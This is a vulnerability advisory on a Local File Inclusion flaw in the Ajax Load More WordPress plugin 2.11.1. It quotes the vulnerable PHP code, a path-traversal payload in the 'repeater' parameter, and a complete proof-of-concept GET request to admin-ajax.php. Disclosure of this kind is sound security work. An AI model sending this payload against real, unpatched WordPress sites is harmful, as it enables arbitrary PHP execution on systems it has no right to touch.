It was discovered that the Ajax Load More WordPress plugin is vulnerable to Local File Inclusion. This issue can potentially be exploited to run arbitrary PHP code. In order to do so, the attacker must be able to place an arbitrary PHP file on the target system. The malicious file must have the .php extension.
OVE-20160712-0034
This issue was succesfully tested on the Ajax Load More - Infinite Scroll WordPress Plugin version 2.11.1.
This issue is fixed in version 2.11.2
Userinput $repeater is sent to $include = ALM_REPEATER_PATH . 'repeaters/'. $template .'.php'; which results in Local File Inclusion. For a succesfull exploit the payload needed to contain 'repeater' value and a numeric value which when splitted by 'alm_get_repeater_type' results in 'repeater' for the $type parameter.
repeater=repeater2f%2e%2e%2f../../../xmlrpc
https://www.owasp.org/index.php/PHP_File_Inclusion https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion
$repeater = (isset($_GET['repeater'])) ? $_GET['repeater'] : 'default';
$type = alm_get_repeater_type($repeater);
function alm_get_repeater_type($repeater){
$type = preg_split('/(?=\d)/', $repeater, 2); // split $repeater value at number to determine type
$type = $type[0]; // default | repeater | template_
return $type;
}
[..]
if($queryType === 'standard'){
[..]
if($theme_repeater != 'null' && has_action('alm_get_theme_repeater')){
do_action('alm_get_theme_repeater', $theme_repeater, $alm_found_posts, $alm_page, $alm_item, $alm_current); // Theme Repeater
}else{
include( alm_get_current_repeater($repeater, $type) ); //Include repeater template
}
[..]
function alm_get_current_repeater($repeater, $type) {
$template = $repeater;
$include = '';
// If is Custom Repeaters (Custom Repeaters v1)
if( $type == 'repeater' && has_action('alm_repeater_installed' )){
$include = ALM_REPEATER_PATH . 'repeaters/'. $template .'.php';
if(!file_exists($include)) //confirm file exists
alm_get_default_repeater();
}
// If is Unlimited Repeaters (Custom Repeaters v2)
elseif( $type == 'template_' && has_action('alm_unlimited_installed' )){
global $wpdb;
$blog_id = $wpdb->blogid;
if($blog_id > 1){
$include = ALM_UNLIMITED_PATH. 'repeaters/'. $blog_id .'/'.$template .'.php';
}else{
$include = ALM_UNLIMITED_PATH. 'repeaters/'.$template .'.php';
}
if(!file_exists($include)) //confirm file exists
$include = alm_get_default_repeater();
}
// Default repeater
else{
$include = alm_get_default_repeater();
}
return $include;
}
The victim should have the paid add-on Custom Repeater or Unlimited installed.
GET /html/wp-admin/admin-ajax.php?action=alm_query_posts&query_type=standard&nonce=&repeater=repeater2f%2e%2e%2f../../../xmlrpc&theme_repeater=null HTTP/1.1
Host: 192.168.50.9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: http://192.168.50.9/html/
Cookie:
Connection: close
Pragma: no-cache
Cache-Control: no-cache
I originally wrote this article for Securify B.V. Read more.